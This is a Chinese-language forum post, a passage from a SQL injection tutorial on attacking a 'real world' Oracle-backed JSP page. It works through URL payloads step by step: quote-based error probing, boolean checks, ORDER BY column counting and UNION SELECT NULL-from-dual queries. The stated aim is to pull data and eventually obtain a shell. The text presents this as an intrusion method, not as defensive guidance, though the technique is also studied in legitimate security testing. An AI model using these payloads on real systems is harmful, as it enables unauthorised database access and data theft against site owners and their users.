返回列表 发帖
 四 真实世界里的注射

  那么一个真实世界的注射应该是个什么样子呢?让我们试试如何从注射点来获得一个shell:)

  首先,我们找到一个可能存在注射的页面,list.jsp?username=loveshell,我们添加一个'结果出错了,通过爆出的错误知道这是一个oracle的后台数据库,如含有ORA-xxxx这样的都是oracle,然后用语句:   list.jsp?username=loveshell' and ''||'1'='1 正常

  list.jsp?username=loveshell' and ''||'2'='1 返回空

  list.jsp?username=loveshell'--

  这样可以知道是一个oracle的字符类型的注射点,那么我们就可以用这种方式插入自己的SQL语句了  list.jsp?username=loveshell' and [我们的sql语句] --

  这个时候我们就可以根据自己的目标考虑后续的入侵思路了,一种是向web方向发展,通过查询数据库的信息来渗透web,一种就是直接入侵数据库,当然,最完美的情况下是oracle和web是一台机器。先说说如何查询数据库里存储的信息吧!要想取得信息就要将信息反馈回来,一种是利用union查询,譬如这里我们的入侵手法类似于下面:   list.jsp?username=loveshell' order by 10 -- 错误,如果错误信息被反馈的话应该会出现xx coloum不存在之类的,字段数小于10

  list.jsp?username=loveshell' order by 5 -- 正常显示,字段数大于5

  最后发现到order by 8的时候错误,order by 7 就正常,说明是7个字段。注意这里,一般的时候,页面的逻辑很简单,所以可以这样order by猜测,但是如果这个参数进入了2个以上sql语句,里面结果的字段数不一,就难用这种方法了,当然,如果进入2个以上Sql语句的话,估计union查询也无法使用了,因为sql语句的前后字段数会不一,无法满足条件,后面我们将说到一种万能的获取数据的方法,这里先说比较直观的union查询。

  list.jsp?username=loveshell' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual-- 用7个NULL来匹配对应的字段不会出现字段类型不一的情况,与mysql不同,后面的select语句必须加一个存在的表,这里是dual。

  这里正常返回,然后我们就可以继续了,寻找的用做信息反馈的字段需要满足我上面在基本思路里的几个条件。  list.jsp?username=loveshell' and 1=2 union select 1,NULL,NULL,NULL,NULL,NULL,NULL from dual-- 正常

  list.jsp?username=loveshell' and 1=2 union select 1,2,NULL,NULL,NULL,NULL,NULL from dual-- 错误,第二个字段不是数字类型

  list.jsp?username=loveshell' and 1=2 union select 1,'2',NULL,NULL,NULL,NULL,NULL from dual-- 错误,第二个字段不是字符类型

  这种情况是可能的,因为字段里还包括其他的如日期等类型,这种类型对于我们反馈信息没什么用,所以用NULL直接跳过。

 

TOP

返回列表